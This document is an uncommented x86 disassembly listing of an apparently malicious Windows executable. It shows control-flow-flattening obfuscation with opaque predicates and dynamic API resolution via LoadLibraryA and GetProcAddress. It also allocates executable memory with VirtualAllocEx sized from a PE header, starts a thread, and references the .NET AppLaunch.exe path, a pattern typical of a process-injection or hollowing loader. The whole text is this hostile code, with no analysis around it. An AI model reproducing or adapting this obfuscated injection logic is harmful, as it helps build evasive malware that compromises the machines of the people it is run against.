mov ecx, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, 0x81a838d3
jmp 0x402690
mov eax, dword [0x4813d0]
mov ebx, 0xa8231c72
mov edi, 0xeb3730ce
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xeb3730ce
jmp 0x40640e
mov eax, dword [0x4813d0]
mov edi, 0x37fcc64
mov ebx, 0xd90b069
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd90b069
jmp 0x4064e1
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x138], eax
mov eax, 0x704db5e5
jmp 0x402690
cmp byte [ebp - 0x84], 0
mov eax, 0x5857789a
mov ecx, 0xe91b3f75
cmovne eax, ecx
jmp 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0xb806d16a
mov esi, 0x86afd6de
jmp 0x405e9d
mov eax, 0xb1449fa2
jmp 0x402690
mov eax, 0xbd0bfae1
jmp 0x402690
mov eax, dword [ebp - 0xc8]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0xd4]
mov dword [eax], 0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 1
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xa0]
mov eax, 0x1a2ee907
jmp 0x402690
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x160], eax
mov eax, 0x6d8ccc52
jmp 0x402690
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x178]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*4 + 0xc]
mov dword [ebp - 0x104], eax
mov eax, 0x82eaf6ac
jmp 0x402690
mov eax, dword [ebp - 0x8c]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x114], eax
mov eax, 0x76e18f12
jmp 0x402690
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov eax, 0x49ed784d
jmp 0x402690
mov eax, 0x48c85e10
jmp 0x402690
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x40]
mov eax, 0x7fa0a827
jmp 0x402690
mov eax, 0xfef0e058
jmp 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x63f6809d
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x72425a09
jmp 0x4063a3
mov ecx, dword [ebp - 0x118]
mov eax, 0xc19aa4a4
mov dword [ebp - 0xe0], ecx
jmp 0x402690
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0xa
mov eax, 0xac840c77
jmp 0x402690
mov eax, 0x576d4baf
jmp 0x402690
mov eax, 0x215d1983
jmp 0x402690
mov eax, dword [ebp - 0x1c0]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x1bc]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xc8]
mov dword [ecx], eax
mov ecx, 0x298839dc
mov eax, dword [ebp - 0xac]
cmp byte [eax], 0
mov eax, 0x9ca7d319
cmove eax, ecx
jmp 0x402690
mov eax, 0xeba6eadf
jmp 0x402690
mov eax, dword [ebp - 0x94]
vxorps xmm0, xmm0, xmm0
mov edi, 0x90954d70
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xd4690e8a
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
jmp 0x405ebf
mov eax, 0x56a01bc5
jmp 0x402690
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x158], eax
mov eax, 0x39e51aca
jmp 0x402690
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x34]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.0043d7b0
add esp, 0xc
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0x8527c53e
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5dd937bb
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x20]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x11c], ecx
jmp 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x36e098df
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd8a31db
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x9c]
jmp 0x4063b1
cmp byte [ebp - 0x7b], 0
mov eax, 0x6cbbafbd
mov ecx, 0x610daf9e
cmovne eax, ecx
jmp 0x402690
mov eax, dword [0x4813d0]
mov esi, 0x10aece1b
mov edi, 0xed2f029e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xed2f029e
jmp 0x402668
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x51383dff
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xd4b367f5
jmp 0x40649f
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x674d0b1
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x428cc3c6
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x1c]
cmovge ecx, edx
mov eax, dword [eax]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, 0x78
mov dword [ebp - 0x100], eax
mov eax, ecx
jmp 0x402690
mov eax, dword [ebp - 0x6c]
mov eax, dword [0x4813d0]
mov ebx, 0x326e4cd
mov edi, 0x428cc3c6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x428cc3c6
jmp 0x40640e
mov eax, dword [ebp - 0x44]
push dword [ebp - 0x108]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x54]
mov ebx, 0x8102b510
mov edi, 0xb4c27c43
mov dword [ecx], eax
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xb4c27c43
jmp 0x40640e
mov eax, 0x6636ad66
jmp 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0xb7c4723b
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xc6e18dc4
jmp 0x405984
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
vmovsd xmm0, qword [eax]
mov eax, 0xce890b19
vmovsd qword [ecx], xmm0
jmp 0x402690
mov eax, 0x322efc3
jmp 0x402690
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
mov eax, 0xb1358b98
jmp 0x402690
cmp byte [ebp - 0x83], 0
mov eax, 0x531a921b
mov ecx, 0x7a91333f
cmovne eax, ecx
jmp 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0xc590f9fb
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf44c4683
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
jmp 0x4063b1
mov eax, dword [ebp - 0x174]
cmp dword [eax + 0x10], 0
mov eax, 0xaf2c2b1a
setne byte [ebp - 0x80]
jmp 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0x4b3b21ed
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe5647ee5
jmp 0x405984
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x1b4]
vmovups ymm0, ymmword [0x4748de]
vmovups ymm1, ymmword [0x4748c6]
vmovups ymm2, ymmword [0x4748a6]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa4]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x70]
add eax, 0x24
mov dword [ecx], eax
mov ecx, 0xb6e81509
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0xac]
setne byte [eax]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
cmp byte [eax], 0
mov eax, 0x68ef2621
cmove eax, ecx
jmp 0x402690
mov eax, 0x5227a585
jmp 0x402690
mov eax, dword [ebp - 0x100]
mov eax, 0x25c4d5c
jmp 0x402690
mov eax, dword [ebp - 0x4c]
mov edi, 0x6a212388
mov ebx, 0xef76426
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x50]
add eax, dword [ecx]
mov dword [ebp - 0x168], eax
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xef76426
jmp 0x4064e1
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0xb0bb3b25
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xd4e94f1b
jmp 0x405984
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x40]
mov edi, 0xffb26980
inc eax
mov dword [ecx], eax
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x62c007c8
jmp 0x40649f
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xcc]
add eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x90]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, 0xcf2169ab
jmp 0x402690
mov eax, 0xa6042957
jmp 0x402690
mov eax, dword [ebp - 0x58]
mov dword [eax], 0x20
mov eax, 0xba6d4c24
jmp 0x402690
cmp byte [ebp - 0x7e], 0
mov eax, 0xbf2fabde
mov ecx, 0x5a36a4a4
cmovne eax, ecx
jmp 0x402690
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x34]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.0043d7b0
add esp, 0xc
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov eax, 0xc0f14836
jmp 0x402690
mov eax, dword [ebp - 0x28]
mov eax, 0x41952252
jmp 0x402690
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0xe4], eax
mov eax, 0x6757f1fb
jmp 0x402690
mov eax, dword [ebp - 0x2c]
mov edi, 0xe05c3e
mov esi, 0x8db3525a
mov dword [eax], 0x10
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne edi, esi
test edx, ecx
mov ecx, edi
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x30]
jmp 0x4064ac
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x58d4d556
mov esi, 0x5799ed13
jmp 0x405ca9
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x30]
mov eax, dword [0x4813d0]
mov edi, 0x3d13d363
mov ebx, 0xa0e3e313
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xa0e3e313
jmp 0x4064e1
cmp dword [ebp - 0x19c], 0
mov eax, 0xa11cfc4a
mov ecx, 0x31b05f34
cmove eax, ecx
jmp 0x402690
mov eax, dword [0x4813d0]
mov esi, 0xab177e58
mov edi, 0x79ed2a69
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x79ed2a69
jmp 0x402668
mov eax, dword [ebp - 0x24]
mov ecx, 0x40000000
mov edi, 0x7964aad0
mov esi, 0x33f8a1bc
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x19c], eax
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x33f8a1bc
jmp 0x406197
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
add eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x180]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x9c]
mov eax, 0xae1b003a
jmp 0x402690
mov eax, dword [0x4813d0]
mov ebx, 0x9c82ea2b
mov edi, 0xf30c0937
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xf30c0937
jmp 0x406018
cmp byte [ebp - 0x81], 0
mov eax, 0xdd6f6180
mov ecx, 0xbe221592
cmovne eax, ecx
jmp 0x402690
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
mov eax, 0x3405d2d7
jmp 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0xefd6c1a0
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xbaf3561c
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x402690
mov eax, dword [ebp - 0x94]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, 0xe4bcf613
jmp 0x402690
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x38]
lea eax, [eax + ecx + 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, 0xbaf90f92
jmp 0x402690
mov eax, dword [ebp - 0x58]
mov dword [eax], 4
mov eax, 0x5fdf9894
jmp 0x402690
mov eax, 0x543ae945
jmp 0x402690
mov eax, 0xdfeb7c2e
jmp 0x402690
mov eax, dword [ebp - 0x78]
mov ebx, 0xe4011e84
mov edi, 0x6a65cd90
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x164], eax
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x6a65cd90
jmp 0x40640e
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0xecb82f9f
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xcff8247c
jmp 0x4063a3
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x60]
mov eax, 0x86afd6de
jmp 0x402690
mov eax, dword [ebp - 0xe8]
mov edi, 0x94e17c8f
mov ebx, 0xde99f42b
cmp eax, dword [ebp - 0xf0]
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
setne byte [ebp - 0x7c]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xde99f42b
jmp 0x406285
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov esi, 0xe4bcf613
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x90954d70
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x94]
cmovge eax, edx
jmp 0x402690
mov eax, dword [ebp - 0x160]
add eax, 2
mov dword [ebp - 0xfc], eax
mov eax, 0x60f6ba88
jmp 0x402690
mov eax, dword [0x4813d0]
mov edi, 0x2d403c47
mov ebx, 0xcff8247c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xcff8247c
jmp 0x4064e1
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0xec], eax
mov eax, 0xee4c7808
jmp 0x402690
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x298839dc
jmp 0x402690
mov eax, 0xc3fe2fad
jmp 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x53599ecd
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xeb3730ce
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x68]
cmovge ecx, edx
mov edx, eax
xor edx, 0xdfffffff
test edx, eax
mov eax, ecx
setne byte [ebp - 0x84]
jmp 0x402690
mov eax, dword [0x4813d0]
mov edi, 0x25c4d5c
mov ebx, 0x67048889
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x67048889
jmp 0x4064e1
mov eax, dword [0x4813d0]
mov esi, 0x81a838d3
mov edi, 0x143b4c2f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x143b4c2f
jmp 0x402668
mov eax, 0x23f71e07
jmp 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x1cfc6fe9
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xb4c27c43
jmp 0x4063a3
mov eax, 0x23df694a
jmp 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x11ac71b2
mov esi, 0x744540e3
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne edi, esi
test edx, ecx
mov ecx, edi
cmove ecx, esi
jmp 0x4064a9
mov dword [ebp - 0xe0], 0
mov eax, 0xc19aa4a4
jmp 0x402690
mov eax, 0x1a58a9d6
jmp 0x402690
mov eax, dword [ebp - 0x48]
mov eax, 0xb7c4723b
jmp 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x75eb0fae
mov esi, 0xb9ea5c37
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne edi, esi
test edx, ecx
mov ecx, edi
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x58]
jmp 0x4064ac
mov eax, 0x432c5eac
jmp 0x402690
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x140]
cmp ecx, dword [eax]
mov eax, 0x5aafd2f7
setb byte [ebp - 0x7e]
jmp 0x402690
mov eax, 0xa9433869
jmp 0x402690
mov eax, 0x96d117f8
jmp 0x402690
mov eax, 0x5f4be343
jmp 0x402690
mov eax, 0xf8cf1ecf
jmp 0x402690
mov eax, 0xf97acc63
jmp 0x402690
mov eax, dword [ebp - 0xe4]
mov edi, 0x2ac9f9dc
mov ebx, 0x4f17a9f
mov eax, dword [eax]
mov dword [ebp - 0x118], eax
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x4f17a9f
jmp 0x406285
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0xfef0e058
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xf30c0937
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x48]
cmovge eax, edx
jmp 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov esi, 0xbaafedf2
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x38f8d40
jmp 0x405fe6
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x98]
mov eax, 0x543ae945
jmp 0x402690
mov eax, 0xd57ae30e
jmp 0x402690
cmp byte [ebp - 0x7c], 0
mov eax, 0x205caa8a
mov ecx, 0x639f620c
cmovne eax, ecx
jmp 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0xa1e5464f
mov esi, 0x9f7bbf67
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne edi, esi
test edx, eax
mov eax, edi
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edi
jmp 0x402690
mov eax, 0xb89e58d7
jmp 0x402690
mov eax, 0x14a65319
jmp 0x402690
mov eax, dword [ebp - 0x24]
mov edi, 0x317eeddd
mov ebx, 0x1e6e1496
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x1e6e1496
jmp 0x4064e1
mov eax, dword [ebp - 0x130]
mov ecx, 0x1b91469d
cmp eax, dword [ebp - 0x138]
mov eax, 0x26c2aa7e
cmove eax, ecx
jmp 0x402690
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, 0x8a7654e5
jmp 0x402690
mov eax, 0x45f8b854
jmp 0x402690
mov eax, dword [0x4813d0]
mov edi, 0xc02cba6
mov ebx, 0xef6f3dd2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xef6f3dd2
jmp 0x40627d
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
sub ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, 0xdf2dd17c
jmp 0x402690
mov eax, 0x2818540a
jmp 0x402690
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x74]
mov eax, 0x21557acc
jmp 0x402690
cmp byte [ebp - 0x80], 0
mov eax, 0xa14b3a4b
mov ecx, 0xd0abf5c4
cmovne eax, ecx
jmp 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov esi, 0xce890b19
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x4d8132e6
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
jmp 0x4063ae
mov eax, dword [0x4813d0]
mov ebx, 0x65174c67
mov edi, 0xbaf3561c
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xbaf3561c
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4813cc], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x402690
mov eax, 0x88225834
jmp 0x402690
mov eax, 0x3d13d363
jmp 0x402690
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xd8]
mov dword [ecx], eax
mov eax, 0x2a251e1b
jmp 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0xdb1e3b38
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x1d888336
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x24]
cmovge ecx, edx
mov edx, 0x80000000
mov eax, dword [eax]
and eax, edx
mov dword [ebp - 0x198], eax
mov eax, ecx
jmp 0x402690
mov eax, 0x19184d13
jmp 0x402690
mov eax, dword [ebp - 0x2c]
mov dword [eax], 5
mov eax, 0xa9e13648
jmp 0x402690
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [eax], 0
mov eax, 0xf3de3e10
jmp 0x402690
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x30]
